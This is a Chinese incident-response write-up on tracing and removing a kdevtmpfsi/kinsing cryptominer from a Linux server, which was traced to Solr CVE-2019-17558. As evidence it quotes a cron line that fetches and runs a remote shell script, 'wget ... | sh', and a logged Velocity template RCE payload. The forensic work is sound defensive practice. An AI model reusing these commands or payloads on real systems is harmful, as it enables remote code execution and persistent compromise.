实战|一次应急挖矿木马
2022-9-17 00:2:17 Author: LemonSec(查看原文) 阅读量:40 收藏

朋友的Linux服务器很早就被挖矿了,但是他很懒,也很忙,搁置不管。笔者最近加入腾讯安全应急响应中心,由于工作内容的变化,最近想加强下入侵应急排查能力,借它练练手,顺便帮朋友清理一下。

首先使用top命令查看一下

1

25478 root 20 0 712512 1452 724 S 49.2 0.1 13895:27 kdevtmpfsi

确认kdevtmpfsi就是挖矿木马,并且拿到了root权限,接下来看看植入时间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

[email protected]:/home/ubuntu# lsof -p 25478
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
kdevtmpfs 25478 root cwd DIR 253,1 4096 2 /
kdevtmpfs 25478 root rtd DIR 253,1 4096 2 /
kdevtmpfs 25478 root txt REG 253,1 3922304 436672 /tmp/kdevtmpfsi
kdevtmpfs 25478 root DEL REG 0,15 78487503 /anon_hugepage
kdevtmpfs 25478 root DEL REG 0,15 106038154 /anon_hugepage
kdevtmpfs 25478 root 0r CHR 1,3 0t0 6 /dev/null
kdevtmpfs 25478 root 1u REG 253,1 5 575025 /tmp/.ICEd-unix/330108689 (deleted)
kdevtmpfs 25478 root 2w CHR 1,3 0t0 6 /dev/null
kdevtmpfs 25478 root 3r DIR 253,1 4096 2 /
kdevtmpfs 25478 root 4r FIFO 0,10 0t0 78487493 pipe
kdevtmpfs 25478 root 5w FIFO 0,10 0t0 78487493 pipe
kdevtmpfs 25478 root 6u a_inode 0,11 0 6978 [eventpoll]
kdevtmpfs 25478 root 7r FIFO 0,10 0t0 78487494 pipe
kdevtmpfs 25478 root 8w FIFO 0,10 0t0 78487494 pipe
kdevtmpfs 25478 root 9u a_inode 0,11 0 6978 [eventfd]
kdevtmpfs 25478 root 10r CHR 1,3 0t0 6 /dev/null
kdevtmpfs 25478 root 11u sock 0,8 0t0 101725910 protocol: TCP
kdevtmpfs 25478 root 12u sock 0,8 0t0 101726121 protocol: TCP
kdevtmpfs 25478 root 13u IPv4 106194697 0t0 TCP 172.21.0.11:36390->193.33.87.219:http (ESTABLISHED)

查看文件时间,一般这个时间都是不靠谱的,因为可以自己进行修改时间戳。

1
2

[email protected]:/home/ubuntu# ls -al /tmp/kdevtmpfsi
-rwxr-xr-x 1 root root 3922304 Jun 17 06:26 /tmp/kdevtmpfsi

这里它还启动了服务,查看服务的时间,2020-04-18 22:16:06,服务时间一般比较靠谱。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

[email protected]:/home/ubuntu# systemctl status 25478
● cron.service - Regular background program processing daemon
Loaded: loaded (/lib/systemd/system/cron.service; enabled; vendor preset: enabled)
Active: active (running) since Sat 2020-04-18 22:16:06 CST; 2 months 18 days ago
Docs: man:cron(8)
Main PID: 1225 (cron)
CGroup: /system.slice/cron.service
├─ 1225 /usr/sbin/cron -f
├─ 2109 /usr/local/safe//agent -d
├─ 2122 barad_agent
├─ 2123 barad_agent
├─ 2124 barad_agent
├─16834 /bin/sh -c ntpdate -b -d update.yun.com 2>&1 | grep 'step time server' | sed -r 's/.*offset(.*)sec.*/\1/'
├─16835 ntpdate -b -d update.yun.com
├─16836 grep step time server
├─16837 sed -r s/.*offset(.*)sec.*/\1/
├─17951 /var/tmp/kinsing
└─25478 /tmp/kdevtmpfsi

Jul 07 00:11:01 ubuntu CRON[16676]: (root) CMD (/usr/local/safe//start.sh > /dev/null 2>&1 &)
Jul 07 00:11:01 ubuntu CRON[16677]: (root) CMD (wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1)
Jul 07 00:11:01 ubuntu CRON[16675]: pam_unix(cron:session): session closed for user root
Jul 07 00:11:01 ubuntu CRON[16674]: pam_unix(cron:session): session closed for user root
Jul 07 00:12:01 ubuntu CRON[16817]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 07 00:12:01 ubuntu CRON[16816]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 07 00:12:01 ubuntu CRON[16818]: (root) CMD (wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1)
Jul 07 00:12:01 ubuntu CRON[16819]: (root) CMD (/usr/local/safe//start.sh > /dev/null 2>&1 &)
Jul 07 00:12:01 ubuntu CRON[16817]: pam_unix(cron:session): session closed for user root
Jul 07 00:12:02 ubuntu CRON[16816]: pam_unix(cron:session): session closed for user root

这里要在这个时间上下扩展几天,因为可能拿到服务器,进行挖矿了,还进行其他操作,也会留下痕迹。
去掉/sys/fs/run/udev/sys/kernel之类开头的数据,再根据黑客的习惯,比如把程序放在tmp目录,来锁定一些文件。

1
2
3
4
5
6
7

linux 文件的三种时间(以 find 为例):通过stat myfile命令也可查看到
atime 最后一次访问时间, 如 less, more 等, 但 chmod, chown, ls, stat 等不会修改些时间(使用ext3文件系统的时候,如果在mount的时候使用了noatime参数那么就不会更新atime的 信息。),
ctime 最后一次状态修改时间, 如 chmod, chown 等状态时间改变但修改时间不会改变, 使用 stat file 可以查看;
mtime 最后一次内容修改时间, 如 vi 保存后等, 修改时间发生改变的话, atime 和 ctime 也相应跟着发生改变.
crtime 创建时间
ls -i ./file
debugfs -R 'stat <13377>' /dev/sda1

在确定最早的时间,往后退几天作为结束时间搜索(使用最后一次修改时间)。

1

find / -type f -newermt '2020-4-16 00:00' ! -newermt '2020-04-22 22:16'

发现tmp还有挖矿的临时文件没被删除,4.21号。临时文件一般不会刻意去修改时间戳或者修改,也是比较靠谱。
那大概基本信息得出了,挖掘木马4.16号或者更早拿下了服务器root权限进行cpu挖矿。
首先看看服务器开了哪些服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

[email protected]:/tmp# netstat -atlp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 *:http *:* LISTEN 1618/apache2
tcp 0 0 *:ssh *:* LISTEN 1337/sshd
tcp 0 0 *:smtp *:* LISTEN 1853/master
tcp 0 0 localhost.localdo:36356 *:* LISTEN 1341/containerd
tcp 0 0 172.21.0.11:ssh 1.1.1.1:13540 ESTABLISHED 12063/sshd: ubuntu
tcp 0 0 172.21.0.11:41626 bh63797.dnsrus.net:http ESTABLISHED 17951/kinsing
tcp 0 0 172.21.0.11:41680 bh63797.dnsrus.net:http ESTABLISHED 17951/kinsing
tcp 0 0 172.21.0.11:41358 bh63797.dnsrus.net:http TIME_WAIT -
tcp 0 0 172.21.0.11:36390 193.33.87.219:http ESTABLISHED 25478/kdevtmpfsi
tcp6 0 0 [::]:ssh [::]:* LISTEN 1337/sshd
tcp6 0 0 [::]:smtp [::]:* LISTEN 1853/master
tcp6 0 0 [::]:31111 [::]:* LISTEN 17951/kinsing

ssh、http、smtp,大概猜测到挖矿木马就是通过这几个服务搞进来的,但是为了严谨,不能说大概,得找实锤。不然工作应急,说大概也许,后面再被搞进来就很麻烦。

ssh

执行lastb命令查看发现爆破倒是一大堆,而且他这个服务器密码并不是很强壮,但是登陆成功的ip都是他的历史ip,暂时排除ssh爆破进来的可能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

[email protected]:/tmp# last
ubuntu pts/1 1.1.1.1 Mon Jul 6 23:51 still logged in
ubuntu pts/2 2.2.2.2 Mon Jul 6 17:17 - 17:18 (00:00)
ubuntu pts/1 2.2.2.2 Mon Jul 6 17:17 - 17:18 (00:00)
ubuntu pts/2 3.3.3.3 Sun Jul 5 16:57 - 18:39 (01:42)
ubuntu pts/1 3.3.3.3 Sun Jul 5 16:54 - 20:34 (03:39)
ubuntu pts/0 3.3.3.3 Sun Jul 5 11:41 - 20:34 (08:52)
ubuntu pts/0 3.3.3.3 Sat Jul 4 13:22 - 18:40 (05:18)
ubuntu pts/0 4.4.4.4 Fri Jul 3 21:28 - 21:28 (00:00)
ubuntu pts/1 2.2.2.2 Fri Jul 3 15:21 - 15:38 (00:17)
ubuntu pts/0 2.2.2.2 Fri Jul 3 15:21 - 15:38 (00:17)
ubuntu pts/1 2.2.2.2 Fri Jul 3 15:13 - 15:21 (00:08)
ubuntu pts/0 2.2.2.2 Fri Jul 3 15:13 - 15:21 (00:08)
ubuntu pts/1 4.4.4.4 Fri Jul 3 01:38 - 03:01 (01:22)
ubuntu pts/0 4.4.4.4 Fri Jul 3 01:38 - 03:01 (01:22)
ubuntu pts/1 4.4.4.4 Fri Jul 3 01:24 - 01:24 (00:00)
ubuntu pts/0 4.4.4.4 Fri Jul 3 01:24 - 01:24 (00:00)

http

他的http服务也有自己放置的后门以及自己写的有漏洞的php程序,但并不是root权限运行的,意味着挖矿木马还需要提权,我觉得挖矿木马并没有这么全自动,为了更加谨慎些,排查http攻击日志并复测攻击payload但都没有成功,暂时排除http攻击进来都可能。

stmp

暂未发现有公开stmp rce漏洞,所以也暂时排除。

死路

于是问下朋友历史用过哪些开源软件,他说开过ssh、http、stmp、redis、docker、solr。如果应急业务的话,一定要问清楚历史开过什么服务,因为有些情况是业务上线那段时间搞进来的,然后你应急时已经下线了。因为他的服务器是4.16号被搞进来的,现在才开始应急,就是属于这种情况。

redis

第一种猜测是写恶意文件,这时明显会有脏数据,经过排查ssh密钥、cron计划任务都没有redis脏数据。
比如ssh密钥会有以下类似脏数据:

1
2
3
4
5
6
7
8
9
10

[email protected]:~# cat /root/.ssh/authorized_keys
REDIS0009� redis-ver5.0.5�
�edis-bits�@�ctime��P_used-mem�h
aof-preamble���xA�

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx [email protected]

��J�#P��r

再看看redis的日志:

1
2
3

vim /etc/redis/redis.conf

logfile /var/log/redis/redis-server.log

发现日志并未开启。如果有日志,也是可以从日志中看出一些痕迹。
第二种猜测是redis主从同步文件,然后加载so文件执行命令的方式。不过网上公开的脚本执行命令后会进行删除库文件,所以找不到so文件,这里也看不到痕迹。

1

remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}")

再看看其他痕迹,下面是使用kali模拟的。

看下replicaton记录,发现是有记录的(这种情况询问业务是否主从复制过,没有的话却又有主从复制的痕迹就很可疑了)

1
2
3
4
5
6
7
8
9
10
11
12
13

127.0.0.1:6379> info replication
# Replication
role:master
connected_slaves:0
master_replid:a5ef95e174d7d464f3563fd660e5ad8a009bef71
master_replid2:31f5d75bb871a43a2c5813da51212f9fdc31107a
master_repl_offset:0
second_repl_offset:1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

再看看加载module的记录,虽然有MODULE UNLOAD system卸载module,但有时候异常退出时,并不会删除,这时就会有痕迹。

1
2
3
4
5
6

127.0.0.1:6379> module list
1) 1) "name"
2) "system"
3) "ver"
4) (integer) 1

还可以查看dbfilename变量,这个脚本在getshell成功后,会把dbfilename改成dump.rdp,所以这里是看不出痕迹。

1
2
3

127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"

再回过头看朋友的服务器,上面的痕迹都没有,也暂时排除掉redis。

docker

docker常见攻击方式是挂载母机的任意目录进行写入恶意文件getshell,这种情况是有命令记录的。
查看docker的命令记录
docker logs -f -t –tail 1000 76587eb08f6a | more
或者直接进入docker容器里面,查看hostory记录,发现并没有痕迹。也暂时排除掉。

solr

就剩下solr没有进行排查了,来到solr日志目录。

1
2

[email protected]:/opt/solr-8.1.1/example/techproducts/logs$ ls
solr-8983-console.log solr_gc.log.0.current solr.log solr.log.1 solr.log.2 solr.log.3 solr.log.4 solr_slow_requests.log

查看下log日志,因为之前有经验,直接寻找exec关键词,或者payload关键词,找到如下。

1
2
3
4
5
6
7
8
9
10

2020-04-21 04:27:02.767 INFO (qtp1209702763-23) [ x:techproducts] o.a.s.c.S.Request [techproducts] webapp=/solr path=/select params={q=1&v.template=custom&v.template.custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec('/tmp/zzz'))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end&wt=velocity} hits=1 status=0 QTime=0
2020-04-21 04:27:02.846 ERROR (qtp1209702763-23) [ x:techproducts] o.a.s.s.HttpSolrCall null:org.apache.velocity.exception.MethodInvocationException: Invocation of method 'exec' in class java.lang.Runtime threw exception java.io.IOException: Cannot run program "/tmp/zzz": error=2, No such file or directory at custom.vm[line 1, column 186]
at org.apache.velocity.runtime.parser.node.ASTMethod.handleInvocationException(ASTMethod.java:280)
..........................
at java.lang.Thread.run(Thread.java:748)
Caused by: java.io.IOException: Cannot run program "/tmp/zzz": error=2, No such file or directory
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1048)
at java.lang.Runtime.exec(Runtime.java:621)
..........................

发现是使用CVE-2019-17558的payload,在2020-04-21进行攻击的,时间吻合上了,还有zzz这个历史遗留痕迹在这日志中体现了,并且他说solr使用-force参数使用root权限启动的,这样就实锤了。
其实这种挖矿的一般都会自带横向攻击的,拿下分析一下就好,可是195.3.146.118挂了,而且是s.sh是不落地的。

1
2

[email protected]:/home/ubuntu# curl http://195.3.146.118/s.sh
curl: (7) Failed to connect to 195.3.146.118 port 80: Connection refused

业务处理

solr是已下线,所以暂时不需要处理,建议他后续使用solr的话务必使用最新版本并且不对公网开放。

处理账号

查看/etc/passwd,发现没有新增恶意账号,建议他修改账号密码,避免黑客已拖走密码文件暴力破解出密码。

搜索运行代码文件

通过文件描述符和文件类型确认正在运行的文件。
文件描述符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

cwd – Current Working Directory
txt – Text file
mem – Memory mapped file
mmap – Memory mapped device
NUMBER – Represent the actual file descriptor. The character after the number i.e ‘1u’, represents the mode in which the file is opened. r for read, w for write, u for read and write.
rtd:root directory;
lnn:library references (AIX);
er:FD information error (see NAME column);
jld:jail directory (FreeBSD);
ltx:shared library text (code and data);
mxx :hex memory-mapped type number xx.
m86:DOS Merge mapped file;
mem:memory-mapped file;
mmap:memory-mapped device;
pd:parent directory;
tr:kernel trace file (OpenBSD);
v86 VP/ix mapped file;

文件类型:

1
2
3
4
5
6
7

REG – Regular File
DIR – Directory
FIFO – First In First Out
CHR – Character special file
BLK:块设备类型
UNIX:UNIX 域套接字
IPv4:网际协议 (IP) 套接字

查看进程程序

1

lsof | grep txt | awk -F " " '{print $NF}' | xargs ls -al -tr

再检测一下so文件,以下面特征来定位系统加载的so。

1
2

FD TYPE DEVICE
mem REG 253,1

1
2
3
4
5
6
7

[email protected]:/home/ubuntu# lsof | grep "mem" | grep "253,1" | grep REG | awk -F " " '{print $NF}
-rw-r--r-- 1 root root 316768 Oct 11 2019 /usr/lib/sudo/sudoers.so
-rw-r--r-- 1 root root 80304 Oct 11 2019 /usr/lib/sudo/libsudo_util.so.0.0.0
-rw------- 1 root root 16384 Feb 5 12:32 /var/lib/docker/builder/fscache.db
-rw------- 1 root root 32768 Jul 13 23:47 /var/lib/docker/volumes/metadata.db
-rw------- 1 root root 32768 Jul 13 23:47 /var/lib/docker/buildkit/cache.db
-rw-r--r-- 1 root root 131072 Jul 15 22:43 /var/lib/containerd/io.containerd.metadata.v1.bolt/meta.db

从时间上来看,并没有替换系统文件之类的。
服务-进程守护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

[email protected]:~# service --status-all
[ + ] acpid
[ + ] apache-htcacheclean
[ + ] apache2
[ - ] apparmor
[ + ] apport
[ + ] atd
[ - ] bootmisc.sh
[ - ] cgroupfs-mount
[ - ] checkfs.sh
[ - ] checkroot-bootclean.sh
[ - ] checkroot.sh
[ + ] console-setup
[ + ] cron
[ - ] cryptdisks
[ - ] cryptdisks-early
[ + ] dbus
[ + ] docker
[ + ] grub-common
[ - ] hostname.sh
[ - ] hwclock.sh
[ - ] irqbalance
[ + ] iscsid
[ + ] kdump-tools
[ + ] kexec
[ + ] kexec-load
[ - ] keyboard-setup.dpkg-bak
[ - ] killprocs
[ + ] kmod
[ - ] lvm2
[ + ] lvm2-lvmetad
[ + ] lvm2-lvmpolld
[ + ] lxcfs
[ - ] lxd
[ + ] mdadm
[ - ] mdadm-waitidle
[ - ] mountall-bootclean.sh
[ - ] mountall.sh
[ - ] mountdevsubfs.sh
[ - ] mountkernfs.sh
[ - ] mountnfs-bootclean.sh
[ - ] mountnfs.sh
[ - ] mysql
[ + ] networking
[ + ] ntp
[ + ] ondemand
[ + ] open-iscsi
[ - ] open-vm-tools
[ + ] php5.6-fpm
[ + ] php7.3-fpm
[ - ] plymouth
[ - ] plymouth-log
[ + ] postfix
[ + ] procps
[ + ] rc.local
[ + ] resolvconf
[ - ] rsync
[ + ] rsyslog
[ - ] screen-cleanup
[ - ] sendsigs
[ + ] ssh
[ + ] ubuntu-fan
[ + ] udev
[ + ] ufw
[ - ] umountfs
[ - ] umountnfs.sh
[ - ] umountroot
[ + ] unattended-upgrades
[ + ] urandom
[ - ] uuidd
[ - ] uwsgi
[ - ] x11-common

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

[email protected]:/home/ubuntu# service --status-all | grep + | awk -F ' ' '{print $2}' | xargs -I {} service {} status | grep -Po "/.*?(?=;)" | xargs ls -al -tr
-rw-r--r-- 1 root root 241 Mar 3 2015 /lib/systemd/system/ufw.service
-rwxr-xr-x 1 root root 1581 Oct 16 2015 /etc/init.d/ondemand
-rw-r--r-- 1 root root 169 Jan 15 2016 /lib/systemd/system/atd.service
-rwxr-xr-x 1 root root 1105 Mar 16 2016 /etc/init.d/grub-common
-rw-r--r-- 1 root root 290 Apr 5 2016 /lib/systemd/system/rsyslog.service
-rw-r--r-- 1 root root 251 Apr 6 2016 /lib/systemd/system/cron.service
-rw-r--r-- 1 root root 234 Apr 9 2016 /lib/systemd/system/acpid.service
-rw-r--r-- 1 root root 335 Apr 16 2016 /lib/systemd/system/lvm2-lvmpolld.service
-rw-r--r-- 1 root root 380 Apr 16 2016 /lib/systemd/system/lvm2-lvmetad.service
-rw-r--r-- 1 root root 288 Jun 16 2016 /lib/systemd/system/console-setup.service
-rw-r--r-- 1 root root 259 Oct 28 2016 /lib/systemd/system/ubuntu-fan.service
-rw-r--r-- 1 root root 735 Dec 1 2016 /lib/systemd/system/networking.service
-rw-r--r-- 1 root root 491 Jan 13 2017 /lib/systemd/system/dbus.service
-rw-r--r-- 1 root root 345 Apr 20 2017 /lib/systemd/system/unattended-upgrades.service
-rwxr-xr-x 1 root root 2365 Oct 9 2017 /etc/init.d/mdadm
-rw-r--r-- 1 root root 311 Nov 9 2017 /lib/systemd/system/lxcfs.service
-rw-r--r-- 1 root root 420 Nov 30 2017 /lib/systemd/system/resolvconf.service
-rwxr-xr-x 1 root root 7972 Jan 18 2018 /etc/init.d/postfix
-rw-r--r-- 1 root root 340 Feb 6 2018 /lib/systemd/system/kdump-tools.service
-rwxr-xr-x 1 root root 1560 Feb 14 2018 /etc/init.d/ntp
-rwxr-xr-x 1 root root 3323 Feb 21 2018 /etc/init.d/kexec-load
-rwxr-xr-x 1 root root 1121 Feb 21 2018 /etc/init.d/kexec
-rw-r--r-- 1 root root 635 Mar 16 2018 /etc/systemd/system/rc-local.service
-rwxr-xr-x 1 root root 2802 May 24 2018 /etc/init.d/apport
-rwxr-xr-x 1 root root 2210 Jun 11 2018 /etc/init.d/apache-htcacheclean
-rwxr-xr-x 1 root root 8087 Jun 11 2018 /etc/init.d/apache2
-rw-r--r-- 1 root root 1068 Aug 3 2018 /lib/systemd/system/open-iscsi.service
-rw-r--r-- 1 root root 455 Aug 3 2018 /lib/systemd/system/iscsid.service
-rw-r--r-- 1 root root 445 Aug 22 2018 /lib/systemd/system/ssh.service
-rw-r--r-- 1 root root 825 Jan 11 2019 /lib/systemd/system/systemd-udevd.service
-rw-r--r-- 1 root root 653 Jan 11 2019 /lib/systemd/system/systemd-sysctl.service
-rw-r--r-- 1 root root 717 Jan 11 2019 /lib/systemd/system/systemd-random-seed.service
-rw-r--r-- 1 root root 967 Jan 11 2019 /lib/systemd/system/systemd-modules-load.service
-rw-r--r-- 1 root root 326 Sep 2 2019 /lib/systemd/system/php5.6-fpm.service
-rw-r--r-- 1 root root 326 Oct 8 2019 /lib/systemd/system/php7.3-fpm.service
-rw-r--r-- 1 root root 1735 Feb 5 12:57 /lib/systemd/system/docker.service

也并无异常,再看看计划任务的情况,发现有通过cron进行权限维持。

1
2
3
4

[email protected]:/home/ubuntu# crontab -l
*/1 * * * * /usr/local/safe//start.sh > /dev/null 2>&1 &
0 0 * * * /usr/local/safe//SafeCrontab.sh > /dev/null 2>&1 &
* * * * * wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1

再查看下cron具体的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

[email protected]:/home/ubuntu# service cron status
● cron.service - Regular background program processing daemon
Loaded: loaded (/lib/systemd/system/cron.service; enabled; vendor preset: enabled)
Active: active (running) since Sat 2020-04-18 22:16:06 CST; 2 months 22 days ago
Docs: man:cron(8)
Main PID: 1225 (cron)
CGroup: /system.slice/cron.service
├─ 1225 /usr/sbin/cron -f
├─ 2109 /usr/local/safe//agent -d
├─ 2122 barad_agent
├─ 2123 barad_agent
├─ 2124 barad_agent
├─25447 /var/tmp/kinsing
└─25478 /tmp/kdevtmpfsi

Jul 11 00:54:41 ubuntu CRON[17243]: pam_unix(cron:session): session closed for user root
Jul 11 00:54:41 ubuntu CRON[16998]: pam_unix(cron:session): session closed for user root
Jul 11 00:54:41 ubuntu CRON[17406]: pam_unix(cron:session): session closed for user root
Jul 11 00:54:41 ubuntu CRON[18192]: pam_unix(cron:session): session closed for user root
Jul 11 00:55:01 ubuntu CRON[19704]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 11 00:55:01 ubuntu CRON[19703]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 11 00:55:01 ubuntu CRON[19705]: (root) CMD (/usr/local/safe//start.sh > /dev/null 2>&1 &)
Jul 11 00:55:01 ubuntu CRON[19706]: (root) CMD (wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1)
Jul 11 00:55:01 ubuntu CRON[19704]: pam_unix(cron:session): session closed for user root
Jul 11 00:55:03 ubuntu CRON[19703]: pam_unix(cron:session): session closed for user root

cron 派生出来的进程

1
2
3
4
5
6
7
8

CGroup: /system.slice/cron.service
├─ 1225 /usr/sbin/cron -f
├─ 2109 /usr/local/safe//agent -d
├─ 2122 barad_agent
├─ 2123 barad_agent
├─ 2124 barad_agent
├─25447 /var/tmp/kinsing
└─25478 /tmp/kdevtmpfsi

可以看到cron 执行的命令记录,还有一些关闭进程的信息之类

1

Jul 11 00:55:01 ubuntu CRON[19705]: (root) CMD (/usr/local/safe//start.sh > /dev/null 2>&1 &)

最终干掉这两个恶意进程和删除cron任务
├─17951 /var/tmp/kinsing
└─25478 /tmp/kdevtmpfsi

凉个24小时,发现没再出现挖矿程序,这次挖矿应急就结束了。
2020.4.16 挖矿木马通过solr的CVE-2019-17558漏洞攻击进来,并进行挖矿。
2020.7.20 开始调查,发现通过kdevtmpfsi挖矿,发现通过cron维持权限。
2020.7.21 查看系统情况,没其他异常出现,确认挖矿木马被清理完毕。
整个过程还是比较简单,从特征开始,就是cpu占满这种非常明显的特征(有的只有dns流量传出来,其他一切正常),然后日志基本没有清理(有些直接删除,有些进行伪造),最后维持权限的手段比较明显(我以前遇到隐藏shell文件,但是你直接用各种工具扫是扫不出,但是每次能给你挂菠菜信息)。

作者:lufei,转载于lufe1.cn。排版于:乌雲安全

侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec
推荐阅读↓↓↓
觉得不错点个“赞”、“在看

文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247535301&idx=1&sn=e86170b74100cab0aa26d5ff4b6baabb&chksm=f9e3259ece94ac88e506419268ed82c72b8b5c3bcd8dd1ec24d54732c94ba0632373242103a5#rd
如有侵权请联系:admin#unsafe.sh